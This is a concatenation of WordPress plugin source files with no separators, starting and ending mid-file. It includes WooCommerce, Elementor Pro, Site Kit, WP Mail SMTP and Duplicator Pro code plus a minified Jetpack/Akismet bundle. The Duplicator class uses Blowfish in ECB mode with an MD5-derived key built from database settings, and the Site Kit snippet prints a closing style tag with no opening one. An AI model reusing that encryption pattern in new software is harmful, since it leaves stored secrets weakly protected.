            '010000000000000000000000000000000000000000000000000001E2' .
            'AAD6A612F33307BE5FA47C3C9E052F838164CD37D9A21173', 16
        ));
    }
}
<?php
namespace ElementorPro\Modules\Woocommerce\Tags;

use ElementorPro\Modules\Woocommerce\Module;
use ElementorPro\Modules\Woocommerce\Tags\Traits\Tag_Product_Id;
use ElementorPro\Modules\Woocommerce\Traits\Product_Id_Trait;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Product_Image extends Base_Data_Tag {

	use Tag_Product_Id;
	use Product_Id_Trait;

	public function get_name() {
		return 'woocommerce-product-image-tag';
	}

	public function get_title() {
		return esc_html__( 'Product Image', 'elementor-pro' );
	}

	protected function register_controls() {
		$this->add_product_id_control();
	}

	public function get_group() {
		return Module::WOOCOMMERCE_GROUP;
	}

	public function get_categories() {
		return [ \Elementor\Modules\DynamicTags\Module::IMAGE_CATEGORY ];
	}

	public function get_value( array $options = [] ) {
		$product = $this->get_product( $this->get_settings( 'product_id' ) );

		if ( ! $product ) {
			return [];
		}

		$image_id = $product->get_image_id();

		if ( ! $image_id ) {
			return [];
		}

		$src = wp_get_attachment_image_src( $image_id, 'full' );

		return [
			'id' => $image_id,
			'url' => $src[0],
		];
	}
}
/* global woocommerce_price_slider_params, accounting */
jQuery( function( $ ) {

	// woocommerce_price_slider_params is required to continue, ensure the object exists
	if ( typeof woocommerce_price_slider_params === 'undefined' ) {
		return false;
	}

	$( document.body ).on( 'price_slider_create price_slider_slide', function( event, min, max ) {

		$( '.price_slider_amount span.from' ).html( accounting.formatMoney( min, {
			symbol:    woocommerce_price_slider_params.currency_format_symbol,
			decimal:   woocommerce_price_slider_params.currency_format_decimal_sep,
			thousand:  woocommerce_price_slider_params.currency_format_thousand_sep,
			precision: woocommerce_price_slider_params.currency_format_num_decimals,
			format:    woocommerce_price_slider_params.currency_format
		} ) );

		$( '.price_slider_amount span.to' ).html( accounting.formatMoney( max, {
			symbol:    woocommerce_price_slider_params.currency_format_symbol,
			decimal:   woocommerce_price_slider_params.currency_format_decimal_sep,
			thousand:  woocommerce_price_slider_params.currency_format_thousand_sep,
			precision: woocommerce_price_slider_params.currency_format_num_decimals,
			format:    woocommerce_price_slider_params.currency_format
		} ) );

		$( document.body ).trigger( 'price_slider_updated', [ min, max ] );
	});

	function init_price_filter() {
		$( 'input#min_price, input#max_price' ).hide();
		$( '.price_slider, .price_label' ).show();

		var min_price         = $( '.price_slider_amount #min_price' ).data( 'min' ),
			max_price         = $( '.price_slider_amount #max_price' ).data( 'max' ),
			step              = $( '.price_slider_amount' ).data( 'step' ) || 1,
			current_min_price = $( '.price_slider_amount #min_price' ).val(),
			current_max_price = $( '.price_slider_amount #max_price' ).val();

		$( '.price_slider:not(.ui-slider)' ).slider({
			range: true,
			animate: true,
			min: min_price,
			max: max_price,
			step: step,
			values: [ current_min_price, current_max_price ],
			create: function() {

				$( '.price_slider_amount #min_price' ).val( current_min_price );
				$( '.price_slider_amount #max_price' ).val( current_max_price );

				$( document.body ).trigger( 'price_slider_create', [ current_min_price, current_max_price ] );
			},
			slide: function( event, ui ) {

				$( 'input#min_price' ).val( ui.values[0] );
				$( 'input#max_price' ).val( ui.values[1] );

				$( document.body ).trigger( 'price_slider_slide', [ ui.values[0], ui.values[1] ] );
			},
			change: function( event, ui ) {

				$( document.body ).trigger( 'price_slider_change', [ ui.values[0], ui.values[1] ] );
			}
		});
	}

	init_price_filter();
	$( document.body ).on( 'init_price_filter', init_price_filter );

	var hasSelectiveRefresh = (
		'undefined' !== typeof wp &&
		wp.customize &&
		wp.customize.selectiveRefresh &&
		wp.customize.widgetsPreview &&
		wp.customize.widgetsPreview.WidgetPartial
	);
	if ( hasSelectiveRefresh ) {
		wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function() {
			init_price_filter();
		} );
	}
});
<?php
/**
 * Class Google\Site_Kit\Modules\Optimize\Web_Tag
 *
 * @package   Google\Site_Kit\Modules\Optimize
 * @copyright 2021 Google LLC
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 * @link      https://sitekit.withgoogle.com
 */

namespace Google\Site_Kit\Modules\Optimize;

use Google\Site_Kit\Core\Modules\Tags\Module_Web_Tag;
use Google\Site_Kit\Core\Util\Method_Proxy_Trait;
use Google\Site_Kit\Core\Tags\Tag_With_DNS_Prefetch_Trait;
use Google\Site_Kit\Core\Util\BC_Functions;

/**
 * Class for Web tag.
 *
 * @since 1.39.0
 * @access private
 * @ignore
 */
class Web_Tag extends Module_Web_Tag {

	use Method_Proxy_Trait;

	/**
	 * Registers tag hooks.
	 *
	 * @since 1.39.0
	 */
	public function register() {
		add_action( 'wp_head', $this->get_method_proxy_once( 'render' ), 1 );

		$this->do_init_tag_action();
	}

	/**
	 * Outputs the Optimize anti-flicker script tag.
	 *
	 * @since 1.39.0
	 */
	protected function render() {

		$anti_flicker_script = sprintf(
			"(function(a,s,y,n,c,h,i,d,e){s.className+=' '+y;h.start=1*new Date;
			h.end=i=function(){s.className=s.className.replace(RegExp(' ?'+y),'')};
			(a[n]=a[n]||[]).hide=h;setTimeout(function(){i();h.end=null},c);h.timeout=c;
			})(window,document.documentElement,'async-hide','dataLayer',4000,
			{'%s':true});",
			esc_js( $this->tag_id )
		);

		printf( "\n<!-- %s -->\n", esc_html__( 'Anti-flicker snippet added by Site Kit', 'google-site-kit' ) );
		echo '.async-hide { opacity: 0 !important} </style>';
		BC_Functions::wp_print_inline_script_tag( $anti_flicker_script );
		printf( "\n<!-- %s -->\n", esc_html__( 'End Anti-flicker snippet added by Site Kit', 'google-site-kit' ) );
	}

}
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1"  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="64px" height="64px" viewBox="0 0 64 64" enable-background="new 0 0 64 64" xml:space="preserve">
<g>
	<polyline fill="none" stroke="#000000" stroke-width="2" stroke-miterlimit="10" points="25,8 25,1 39,1 39,8 	"/>
	<polyline fill="none" stroke="#000000" stroke-width="2" stroke-miterlimit="10" points="14,10 14,63 50,63 50,10 	"/>
	<line fill="none" stroke="#000000" stroke-width="2" stroke-miterlimit="10" x1="10" y1="9" x2="54" y2="9"/>
</g>
<line fill="none" stroke="#000000" stroke-width="2" stroke-miterlimit="10" x1="39" y1="43" x2="25" y2="29"/>
<line fill="none" stroke="#000000" stroke-width="2" stroke-miterlimit="10" x1="25" y1="43" x2="39" y2="29"/>
</svg>
<?php

namespace WPMailSMTP\Admin\DebugEvents;

use WPMailSMTP\MigrationAbstract;

/**
 * Debug Events Migration Class
 *
 * @since 3.0.0
 */
class Migration extends MigrationAbstract {

	/**
	 * Version of the debug events database table.
	 *
	 * @since 3.0.0
	 */
	const DB_VERSION = 1;

	/**
	 * Option key where we save the current debug events DB version.
	 *
	 * @since 3.0.0
	 */
	const OPTION_NAME = 'wp_mail_smtp_debug_events_db_version';

	/**
	 * Option key where we save any errors while creating the debug events DB table.
	 *
	 * @since 3.0.0
	 */
	const ERROR_OPTION_NAME = 'wp_mail_smtp_debug_events_db_error';

	/**
	 * Create the debug events DB table structure.
	 *
	 * @since 3.0.0
	 */
	protected function migrate_to_1() {

		global $wpdb;

		$table           = DebugEvents::get_table_name();
		$charset_collate = $wpdb->get_charset_collate();

		$sql = "CREATE TABLE IF NOT EXISTS `$table` (
		    `id` INT UNSIGNED NOT NULL AUTO_INCREMENT,
		    `content` TEXT DEFAULT NULL,
		    `initiator` TEXT DEFAULT NULL,
		    `event_type` TINYINT UNSIGNED NOT NULL DEFAULT '0',
		    `created_at` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
		    PRIMARY KEY (id)
		)
		ENGINE='InnoDB'
		{$charset_collate};";

		$result = $wpdb->query( $sql ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared

		if ( ! empty( $wpdb->last_error ) ) {
			update_option( self::ERROR_OPTION_NAME, $wpdb->last_error, false );
		}

		// Save the current version to DB.
		if ( $result !== false ) {
			$this->update_db_ver( 1 );
		}
	}
}
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="32px" height="32px" viewBox="0 0 32 32" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <!-- Generator: Sketch 46 (44423) - http://www.bohemiancoding.com/sketch -->
    <title>Image Carousel</title>
    <desc>Created with Sketch.</desc>
    <defs></defs>
    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
        <g id="Image-Carousel">
            <path d="M0,4.99649048 C0,3.34157448 1.33425951,2 2.99610022,2 L29.0038998,2 C30.6586002,2 32,3.3504982 32,4.99649048 L32,27.0035095 C32,28.6584255 30.6657405,30 29.0038998,30 L2.99610022,30 C1.34139976,30 0,28.6495018 0,27.0035095 L0,4.99649048 Z" id="Rectangle" fill="#55779D"></path>
            <rect id="Rectangle" fill="#91BFF4" x="3" y="0" width="26" height="29" rx="3"></rect>
            <path d="M25.5954544,32 L6.00793008,32 C4.34669617,32 3,30.6526814 3,28.9999809 L3,22.1984848 L10.1984848,15 L26.3969696,31.1984848 L25.5954544,32 Z" id="Combined-Shape" fill="#40915A"></path>
            <path d="M29,16.8015152 L29,28.9999809 C29,30.6568457 27.6568766,32 25.9920699,32 L6.00793008,32 C4.97205942,32 4.05848758,31.4761345 3.51746254,30.6810223 L23.1984848,11 L29,16.8015152 Z" id="Combined-Shape" fill="#4CAD6B"></path>
            <rect id="Rectangle-10" fill="#FFC90F" x="6" y="4" width="5" height="5" rx="2.5"></rect>
            <rect id="Rectangle-10" fill-opacity="0.5" fill="#FFFFFF" x="15" y="25" width="3" height="3" rx="1.5"></rect>
            <rect id="Rectangle-10" fill="#FFFFFF" x="10" y="25" width="3" height="3" rx="1.5"></rect>
            <rect id="Rectangle-10" fill-opacity="0.5" fill="#FFFFFF" x="20" y="25" width="3" height="3" rx="1.5"></rect>
        </g>
    </g>
</svg><?php
defined("ABSPATH") or die("");
// New encryption class

class DUP_PRO_Crypt_Blowfish
{
    public static function getDefaultKey()
    {
        $auth_key = defined('AUTH_KEY') ? AUTH_KEY : 'atk';
        $auth_key .= defined('DB_HOST') ? DB_HOST : 'dbh';
        $auth_key .= defined('DB_NAME') ? DB_NAME : 'dbn';
        $auth_key .= defined('DB_USER') ? DB_USER : 'dbu';

        return hash('md5', $auth_key);
    }

    public static function encrypt($string, $key = null)
    {
        if ($key == null) {
            $key = self::getDefaultKey();
        }

        $crypt = new pcrypt(MODE_ECB, "BLOWFISH", $key);

        DUP_PRO_LOG::trace("!!!!!!!!!!!encrypt");
        // to encrypt
        $encrypted_value = $crypt->encrypt($string);
        $encrypted_value = base64_encode($encrypted_value);

        return $encrypted_value;
    }

    public static function decrypt($encryptedString, $key = null)
    {
        if (empty($encryptedString)) {
            return '';
        } else {
            if ($key == null) {
                $key = self::getDefaultKey();
            }

            $crypt = new pcrypt(MODE_ECB, "BLOWFISH", $key);
            $orig = $encryptedString;
            $encryptedString = base64_decode($encryptedString);

            if (empty($encryptedString)) {
                DUP_PRO_LOG::traceObject("Bad encrypted string for $orig", debug_backtrace());
            }

            $decrypted_value = $crypt->decrypt($encryptedString);

            return $decrypted_value;
        }
    }

}


(()=>{var e={8325:()=>{},3810:()=>{},3055:()=>{},9521:()=>{},4804:(e,t,n)=>{t.formatArgs=function(t){if(t[0]=(this.useColors?"%c":"")+this.namespace+(this.useColors?" %c":" ")+t[0]+(this.useColors?"%c ":" ")+"+"+e.exports.humanize(this.diff),!this.useColors)return;const n="color: "+this.color;t.splice(1,0,n,"color: inherit");let r=0,s=0;t[0].replace(/%[a-zA-Z%]/g,(e=>{"%%"!==e&&(r++,"%c"===e&&(s=r))})),t.splice(s,0,n)},t.save=function(e){try{e?t.storage.setItem("debug",e):t.storage.removeItem("debug")}catch(e){}},t.load=function(){let e;try{e=t.storage.getItem("debug")}catch(e){}!e&&"undefined"!=typeof process&&"env"in process&&(e=process.env.DEBUG);return e},t.useColors=function(){if("undefined"!=typeof window&&window.process&&("renderer"===window.process.type||window.process.__nwjs))return!0;if("undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/))return!1;let e;return"undefined"!=typeof document&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||"undefined"!=typeof window&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||"undefined"!=typeof navigator&&navigator.userAgent&&(e=navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/))&&parseInt(e[1],10)>=31||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/)},t.storage=function(){try{return localStorage}catch(e){}}(),t.destroy=(()=>{let e=!1;return()=>{e||(e=!0,console.warn("Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`."))}})(),t.colors=["#0000CC","#0000FF","#0033CC","#0033FF","#0066CC","#0066FF","#0099CC","#0099FF","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#3300CC","#3300FF","#3333CC","#3333FF","#3366CC","#3366FF","#3399CC","#3399FF","#33CC00","#33CC33","#33CC66","#33CC99","#33CCCC","#33CCFF","#6600CC","#6600FF","#6633CC","#6633FF","#66CC00","#66CC33","#9900CC","#9900FF","#9933CC","#9933FF","#99CC00","#99CC33","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#CC6600","#CC6633","#CC9900","#CC9933","#CCCC00","#CCCC33","#FF0000","#FF0033","#FF0066","#FF0099","#FF00CC","#FF00FF","#FF3300","#FF3333","#FF3366","#FF3399","#FF33CC","#FF33FF","#FF6600","#FF6633","#FF9900","#FF9933","#FFCC00","#FFCC33"],t.log=console.debug||console.log||(()=>{}),e.exports=n(5067)(t);const{formatters:r}=e.exports;r.j=function(e){try{return JSON.stringify(e)}catch(e){return"[UnexpectedJSONParseError]: "+e.message}}},5067:(e,t,n)=>{e.exports=function(e){function t(e){let n,s,a,o=null;function c(...e){if(!c.enabled)return;const r=c,s=Number(new Date),a=s-(n||s);r.diff=a,r.prev=n,r.curr=s,n=s,e[0]=t.coerce(e[0]),"string"!=typeof e[0]&&e.unshift("%O");let o=0;e[0]=e[0].replace(/%([a-zA-Z%])/g,((n,s)=>{if("%%"===n)return"%";o++;const a=t.formatters[s];if("function"==typeof a){const t=e[o];n=a.call(r,t),e.splice(o,1),o--}return n})),t.formatArgs.call(r,e);(r.log||t.log).apply(r,e)}return c.namespace=e,c.useColors=t.useColors(),c.color=t.selectColor(e),c.extend=r,c.destroy=t.destroy,Object.defineProperty(c,"enabled",{enumerable:!0,configurable:!1,get:()=>null!==o?o:(s!==t.namespaces&&(s=t.namespaces,a=t.enabled(e)),a),set:e=>{o=e}}),"function"==typeof t.init&&t.init(c),c}function r(e,n){const r=t(this.namespace+(void 0===n?":":n)+e);return r.log=this.log,r}function s(e,t){let n=0,r=0,s=-1,a=0;for(;n<e.length;)if(r<t.length&&(t[r]===e[n]||"*"===t[r]))"*"===t[r]?(s=r,a=n,r++):(n++,r++);else{if(-1===s)return!1;r=s+1,a++,n=a}for(;r<t.length&&"*"===t[r];)r++;return r===t.length}return t.debug=t,t.default=t,t.coerce=function(e){if(e instanceof Error)return e.stack||e.message;return e},t.disable=function(){const e=[...t.names,...t.skips.map((e=>"-"+e))].join(",");return t.enable(""),e},t.enable=function(e){t.save(e),t.namespaces=e,t.names=[],t.skips=[];const n=("string"==typeof e?e:"").trim().replace(" ",",").split(",").filter(Boolean);for(const e of n)"-"===e[0]?t.skips.push(e.slice(1)):t.names.push(e)},t.enabled=function(e){for(const n of t.skips)if(s(e,n))return!1;for(const n of t.names)if(s(e,n))return!0;return!1},t.humanize=n(3594),t.destroy=function(){console.warn("Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.")},Object.keys(e).forEach((n=>{t[n]=e[n]})),t.names=[],t.skips=[],t.formatters={},t.selectColor=function(e){let n=0;for(let t=0;t<e.length;t++)n=(n<<5)-n+e.charCodeAt(t),n|=0;return t.colors[Math.abs(n)%t.colors.length]},t.enable(t.load()),t}},3594:e=>{var t=1e3,n=60*t,r=60*n,s=24*r,a=7*s,o=365.25*s;function c(e,t,n,r){var s=t>=1.5*n;return Math.round(e/n)+" "+r+(s?"s":"")}e.exports=function(e,i){i=i||{};var l=typeof e;if("string"===l&&e.length>0)return function(e){if((e=String(e)).length>100)return;var c=/^(-?(?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(e);if(!c)return;var i=parseFloat(c[1]);switch((c[2]||"ms").toLowerCase()){case"years":case"year":case"yrs":case"yr":case"y":return i*o;case"weeks":case"week":case"w":return i*a;case"days":case"day":case"d":return i*s;case"hours":case"hour":case"hrs":case"hr":case"h":return i*r;case"minutes":case"minute":case"mins":case"min":case"m":return i*n;case"seconds":case"second":case"secs":case"sec":case"s":return i*t;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return i;default:return}}(e);if("number"===l&&isFinite(e))return i.long?function(e){var a=Math.abs(e);if(a>=s)return c(e,a,s,"day");if(a>=r)return c(e,a,r,"hour");if(a>=n)return c(e,a,n,"minute");if(a>=t)return c(e,a,t,"second");return e+" ms"}(e):function(e){var a=Math.abs(e);if(a>=s)return Math.round(e/s)+"d";if(a>=r)return Math.round(e/r)+"h";if(a>=n)return Math.round(e/n)+"m";if(a>=t)return Math.round(e/t)+"s";return e+"ms"}(e);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(e))}},1583:(e,t,n)=>{"use strict";var r=n(1752);function s(){}function a(){}a.resetWarningCache=s,e.exports=function(){function e(e,t,n,s,a,o){if(o!==r){var c=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw c.name="Invariant Violation",c}}function t(){return e}e.isRequired=e;var n={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:a,resetWarningCache:s};return n.PropTypes=n,n}},3619:(e,t,n)=>{e.exports=n(1583)()},1752:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},372:(e,t,n)=>{"use strict";n.d(t,{A:()=>i});var r=n(4804);const s=n.n(r)()("dops:analytics");let a,o;window._tkq=window._tkq||[],window.ga=window.ga||function(){(window.ga.q=window.ga.q||[]).push(arguments)},window.ga.l=+new Date;const c={initialize:function(e,t,n){c.setUser(e,t),c.setSuperProps(n),c.identifyUser()},setGoogleAnalyticsEnabled:function(e,t=null){this.googleAnalyticsEnabled=e,this.googleAnalyticsKey=t},setMcAnalyticsEnabled:function(e){this.mcAnalyticsEnabled=e},setUser:function(e,t){o={ID:e,username:t}},setSuperProps:function(e){a=e},assignSuperProps:function(e){a=Object.assign(a||{},e)},mc:{bumpStat:function(e,t){const n=function(e,t){let n="";if("object"==typeof e){for(const t in e)n+="&x_"+encodeURIComponent(t)+"="+encodeURIComponent(e[t]);s("Bumping stats %o",e)}else n="&x_"+encodeURIComponent(e)+"="+encodeURIComponent(t),s('Bumping stat "%s" in group "%s"',t,e);return n}(e,t);c.mcAnalyticsEnabled&&((new Image).src=document.location.protocol+"//pixel.wp.com/g.gif?v=wpcom-no-pv"+n+"&t="+Math.random())},bumpStatWithPageView:function(e,t){const n=function(e,t){let n="";if("object"==typeof e){for(const t in e)n+="&"+encodeURIComponent(t)+"="+encodeURIComponent(e[t]);s("Built stats %o",e)}else n="&"+encodeURIComponent(e)+"="+encodeURIComponent(t),s('Built stat "%s" in group "%s"',t,e);return n}(e,t);c.mcAnalyticsEnabled&&((new Image).src=document.location.protocol+"//pixel.wp.com/g.gif?v=wpcom"+n+"&t="+Math.random())}},pageView:{record:function(e,t){c.tracks.recordPageView(e),c.ga.recordPageView(e,t)}},purchase:{record:function(e,t,n,r,s,a,o){c.ga.recordPurchase(e,t,n,r,s,a,o)}},tracks:{recordEvent:function(e,t){t=t||{},0===e.indexOf("akismet_")||0===e.indexOf("jetpack_")?(a&&(s("- Super Props: %o",a),t=Object.assign(t,a)),s('Record event "%s" called with props %s',e,JSON.stringify(t)),window._tkq.push(["recordEvent",e,t])):s('- Event name must be prefixed by "akismet_" or "jetpack_"')},recordJetpackClick:function(e){const t="object"==typeof e?e:{target:e};c.tracks.recordEvent("jetpack_wpa_click",t)},recordPageView:function(e){c.tracks.recordEvent("akismet_page_view",{path:e})},setOptOut:function(e){s("Pushing setOptOut: %o",e),window._tkq.push(["setOptOut",e])}},ga:{initialized:!1,initialize:function(){let e={};c.ga.initialized||(o&&(e={userId:"u-"+o.ID}),window.ga("create",this.googleAnalyticsKey,"auto",e),c.ga.initialized=!0)},recordPageView:function(e,t){c.ga.initialize(),s("Recording Page View ~ [URL: "+e+"] [Title: "+t+"]"),this.googleAnalyticsEnabled&&(window.ga("set","page",e),window.ga("send",{hitType:"pageview",page:e,title:t}))},recordEvent:function(e,t,n,r){c.ga.initialize();let a="Recording Event ~ [Category: "+e+"] [Action: "+t+"]";void 0!==n&&(a+=" [Option Label: "+n+"]"),void 0!==r&&(a+=" [Option Value: "+r+"]"),s(a),this.googleAnalyticsEnabled&&window.ga("send","event",e,t,n,r)},recordPurchase:function(e,t,n,r,s,a,o){window.ga("require","ecommerce"),window.ga("ecommerce:addTransaction",{id:e,revenue:r,currency:o}),window.ga("ecommerce:addItem",{id:e,name:t,sku:n,price:s,quantity:a}),window.ga("ecommerce:send")}},identifyUser:function(){o&&window._tkq.push(["identifyUser",o.ID,o.username])},setProperties:function(e){window._tkq.push(["setProperties",e])},clearedIdentity:function(){window._tkq.push(["clearIdentity"])}},i=c},5932:(e,t,n)=>{"use strict";n.d(t,{Ay:()=>p});var r=n(6439),s=n(3832);function a(e){class t extends Error{constructor(...t){super(...t),this.name=e}}return t}const o=a("JsonParseError"),c=a("JsonParseAfterRedirectError"),i=a("Api404Error"),l=a("Api404AfterRedirectError"),d=a("FetchNetworkError");const p=new function(e,t){let n=e,a=e,o={"X-WP-Nonce":t},c={credentials:"same-origin",headers:o},i={method:"post",credentials:"same-origin",headers:Object.assign({},o,{"Content-type":"application/json"})},l=function(e){const t=e.split("?"),n=t.length>1?t[1]:"",r=n.length?n.split("&"):[];return r.push("_cacheBuster="+(new Date).getTime()),t[0]+"?"+r.join("&")};const d={setApiRoot(e){n=e},setWpcomOriginApiUrl(e){a=e},setApiNonce(e){o={"X-WP-Nonce":e},c={credentials:"same-origin",headers:o},i={method:"post",credentials:"same-origin",headers:Object.assign({},o,{"Content-type":"application/json"})}},setCacheBusterCallback:e=>{l=e},registerSite:(e,t,s)=>{const a={};return(0,r.jetpackConfigHas)("consumer_slug")&&(a.plugin_slug=(0,r.jetpackConfigGet)("consumer_slug")),null!==t&&(a.redirect_uri=t),s&&(a.from=s),h(`${n}jetpack/v4/connection/register`,i,{body:JSON.stringify(a)}).then(m).then(u)},fetchAuthorizationUrl:e=>p((0,s.addQueryArgs)(`${n}jetpack/v4/connection/authorize_url`,{no_iframe:"1",redirect_uri:e}),c).then(m).then(u),fetchSiteConnectionData:()=>p(`${n}jetpack/v4/connection/data`,c).then(u),fetchSiteConnectionStatus:()=>p(`${n}jetpack/v4/connection`,c).then(u),fetchSiteConnectionTest:()=>p(`${n}jetpack/v4/connection/test`,c).then(m).then(u),fetchUserConnectionData:()=>p(`${n}jetpack/v4/connection/data`,c).then(u),fetchUserTrackingSettings:()=>p(`${n}jetpack/v4/tracking/settings`,c).then(m).then(u),updateUserTrackingSettings:e=>h(`${n}jetpack/v4/tracking/settings`,i,{body:JSON.stringify(e)}).then(m).then(u),disconnectSite:()=>h(`${n}jetpack/v4/connection`,i,{body:JSON.stringify({isActive:!1})}).then(m).then(u),fetchConnectUrl:()=>p(`${n}jetpack/v4/connection/url`,c).then(m).then(u),unlinkUser:(e=!1,t={})=>{const r={linked:!1,force:!!e};return t.disconnectAllUsers&&(r["disconnect-all-users"]=!0),h(`${n}jetpack/v4/connection/user`,i,{body:JSON.stringify(r)}).then(m).then(u)},reconnect:()=>h(`${n}jetpack/v4/connection/reconnect`,i).then(m).then(u),fetchConnectedPlugins:()=>p(`${n}jetpack/v4/connection/plugins`,c).then(m).then(u),setHasSeenWCConnectionModal:()=>h(`${n}jetpack/v4/seen-wc-connection-modal`,i).then(m).then(u),fetchModules:()=>p(`${n}jetpack/v4/module/all`,c).then(m).then(u),fetchModule:e=>p(`${n}jetpack/v4/module/${e}`,c).then(m).then(u),activateModule:e=>h(`${n}jetpack/v4/module/${e}/active`,i,{body:JSON.stringify({active:!0})}).then(m).then(u),deactivateModule:e=>h(`${n}jetpack/v4/module/${e}/active`,i,{body:JSON.stringify({active:!1})}),updateModuleOptions:(e,t)=>h(`${n}jetpack/v4/module/${e}`,i,{body:JSON.stringify(t)}).then(m).then(u),updateSettings:e=>h(`${n}jetpack/v4/settings`,i,{body:JSON.stringify(e)}).then(m).then(u),getProtectCount:()=>p(`${n}jetpack/v4/module/protect/data`,c).then(m).then(u),resetOptions:e=>h(`${n}jetpack/v4/options/${e}`,i,{body:JSON.stringify({reset:!0})}).then(m).then(u),activateVaultPress:()=>h(`${n}jetpack/v4/plugins`,i,{body:JSON.stringify({slug:"vaultpress",status:"active"})}).then(m).then(u),getVaultPressData:()=>p(`${n}jetpack/v4/module/vaultpress/data`,c).then(m).then(u),installPlugin:(e,t)=>{const r={slug:e,status:"active"};return t&&(r.source=t),h(`${n}jetpack/v4/plugins`,i,{body:JSON.stringify(r)}).then(m).then(u)},activateAkismet:()=>h(`${n}jetpack/v4/plugins`,i,{body:JSON.stringify({slug:"akismet",status:"active"})}).then(m).then(u),getAkismetData:()=>p(`${n}jetpack/v4/module/akismet/data`,c).then(m).then(u),checkAkismetKey:()=>p(`${n}jetpack/v4/module/akismet/key/check`,c).then(m).then(u),checkAkismetKeyTyped:e=>h(`${n}jetpack/v4/module/akismet/key/check`,i,{body:JSON.stringify({api_key:e})}).then(m).then(u),getFeatureTypeStatus:e=>p(`${n}jetpack/v4/feature/${e}`,c).then(m).then(u),fetchStatsData:e=>p(function(e){let t=`${n}jetpack/v4/module/stats/data`;-1!==t.indexOf("?")?t+=`&range=${encodeURIComponent(e)}`:t+=`?range=${encodeURIComponent(e)}`;return t}(e),c).then(m).then(u).then(f),getPluginUpdates:()=>p(`${n}jetpack/v4/updates/plugins`,c).then(m).then(u),getPlans:()=>p(`${n}jetpack/v4/plans`,c).then(m).then(u),fetchSettings:()=>p(`${n}jetpack/v4/settings`,c).then(m).then(u),updateSetting:e=>h(`${n}jetpack/v4/settings`,i,{body:JSON.stringify(e)}).then(m).then(u),fetchSiteData:()=>p(`${n}jetpack/v4/site`,c).then(m).then(u).then((e=>JSON.parse(e.data))),fetchSiteFeatures:()=>p(`${n}jetpack/v4/site/features`,c).then(m).then(u).then((e=>JSON.parse(e.data))),fetchSiteProducts:()=>p(`${n}jetpack/v4/site/products`,c).then(m).then(u),fetchSitePurchases:()=>p(`${n}jetpack/v4/site/purchases`,c).then(m).then(u).then((e=>JSON.parse(e.data))),fetchSiteBenefits:()=>p(`${n}jetpack/v4/site/benefits`,c).then(m).then(u).then((e=>JSON.parse(e.data))),fetchSiteDiscount:()=>p(`${n}jetpack/v4/site/discount`,c).then(m).then(u).then((e=>e.data)),fetchSetupQuestionnaire:()=>p(`${n}jetpack/v4/setup/questionnaire`,c).then(m).then(u),fetchRecommendationsData:()=>p(`${n}jetpack/v4/recommendations/data`,c).then(m).then(u),fetchRecommendationsProductSuggestions:()=>p(`${n}jetpack/v4/recommendations/product-suggestions`,c).then(m).then(u),fetchRecommendationsUpsell:()=>p(`${n}jetpack/v4/recommendations/upsell`,c).then(m).then(u),fetchRecommendationsConditional:()=>p(`${n}jetpack/v4/recommendations/conditional`,c).then(m).then(u),saveRecommendationsData:e=>h(`${n}jetpack/v4/recommendations/data`,i,{body:JSON.stringify({data:e})}).then(m),fetchProducts:()=>p(`${n}jetpack/v4/products`,c).then(m).then(u),fetchRewindStatus:()=>p(`${n}jetpack/v4/rewind`,c).then(m).then(u).then((e=>JSON.parse(e.data))),fetchScanStatus:()=>p(`${n}jetpack/v4/scan`,c).then(m).then(u).then((e=>JSON.parse(e.data))),dismissJetpackNotice:e=>h(`${n}jetpack/v4/notice/${e}`,i,{body:JSON.stringify({dismissed:!0})}).then(m).then(u),fetchPluginsData:()=>p(`${n}jetpack/v4/plugins`,c).then(m).then(u),fetchIntroOffers:()=>p(`${n}jetpack/v4/intro-offers`,c).then(m).then(u),fetchVerifySiteGoogleStatus:e=>p(null!==e?`${n}jetpack/v4/verify-site/google/${e}`:`${n}jetpack/v4/verify-site/google`,c).then(m).then(u),verifySiteGoogle:e=>h(`${n}jetpack/v4/verify-site/google`,i,{body:JSON.stringify({keyring_id:e})}).then(m).then(u),submitSurvey:e=>h(`${n}jetpack/v4/marketing/survey`,i,{body:JSON.stringify(e)}).then(m).then(u),saveSetupQuestionnaire:e=>h(`${n}jetpack/v4/setup/questionnaire`,i,{body:JSON.stringify(e)}).then(m).then(u),updateLicensingError:e=>h(`${n}jetpack/v4/licensing/error`,i,{body:JSON.stringify(e)}).then(m).then(u),upda